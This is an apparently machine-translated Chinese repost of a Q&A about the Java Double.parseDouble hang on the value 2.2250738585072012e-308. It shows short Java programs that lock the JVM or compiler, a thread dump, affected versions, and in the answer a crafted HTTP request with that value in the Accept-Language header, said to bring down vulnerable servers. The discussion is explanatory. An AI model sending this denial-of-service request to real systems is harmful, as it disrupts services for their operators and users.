java – 哪种类型的webapps可以真实地受到浮动bug的影响?

一个简单的方法来完全锁定很多JVM:
class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
 }
}

或者,挂起编译器:

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
 }
}

如下所述:http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/

我的问题很简单:你知道哪种精心设计的网络应用程序可以被现实的影响?

换句话说:攻击者可以使用哪种类型的webapps使用已知的弱点来执行拒绝服务?

这是坏的,这是非常糟糕的.但除了使用浮点数进行货币计算的程序员,我看不到有许多Java支持的网站可能会崩溃.

我可以看到玩具科学小苹果是候选人,但除此之外…

这是一个阻塞线程的线程(在Linux上使用“kill -3”):

"main" prio=1 tid=0x09ab8a10 nid=0x57e9 runnable [0xbfbde000..0xbfbde728]
        at sun.misc.fdbigInt.mult(FloatingDecimal.java:2617)
        at sun.misc.FloatingDecimal.multPow52(FloatingDecimal.java:158)
        at sun.misc.FloatingDecimal.doubleValue(FloatingDecimal.java:1510)
        at java.lang.Double.parseDouble(Double.java:482)

编辑

JVM锁定在这里

java版“1.5.0_10”
Java(TM)2运行环境标准版(build 1.5.0_10-b03)
Java HotSpot(TM)服务器虚拟机(构建1.5.0_10-b03,混合模式)

java版本“1.6.0_17”
Java(TM)SE运行时环境(build 1.6.0_17-b04)
Java HotSpot(TM)服务器虚拟机(构建14.3-b01,混合模式)

解决方法

许多Web服务器使用Double.parse解析部分HTTP头,所以我们在这里处理基础架构(除了在容器中运行的应用程序的任何问题).您浏览的二进制博客评论链接到以下为例:
GET / HTTP/1.1
Host: myhost
Connection: keep-alive
Accept-Language: en-us;q=2.2250738585072012e-308

如果请求所针对的servlet调用任何本地化API(然后尝试解析语言头),则上述将使服务器关闭.

所以是的,这是一个很大的问题.攻击面相当大,后果相当高.

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


应用场景 C端用户提交工单、工单创建完成之后、会发布一条工单创建完成的消息事件(异步消息)、MQ消费者收到消息之后、会通知各处理器处理该消息、各处理器处理完后都会发布一条将该工单写入搜索引擎的消息、最终该工单出现在搜索引擎、被工单处理人检索和处理。 事故异常体现 1、异常体现 从工单的流转记录发现、
线程类,设置有一个公共资源 package cn.org.chris.concurrent; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock; /** * @Descrip
Java中的数字(带有0前缀和字符串)
在Java 9中使用JLink的目的是什么?
Java Stream API Filter(过滤器)
在Java中找到正数和负数数组元素的数量
Java 9中JShell中的不同启动脚本是什么?
使用Java的位填充错误检测技术
java中string是什么
如何使用Java中的JSON-lib API将Map转换为JSON对象?
Java菜单驱动程序以检查数字类型
使用Junit的Maven项目 - 检查银行账号
JAVA编程基础
在Java中使用throw、catch和instanceof来处理异常
在Java中,将数组分割为基于给定查询的子数组后,找到子数组的最大子数组和
如何在Java中从给定的字符串中删除HTML标签?
在PHP中,IntlChar getBlockCode()函数的翻译如下:
如何在Android中实现按下返回键再次退出的功能?
如何使用Java中的流式API解析JSON字符串?
Java中的模式类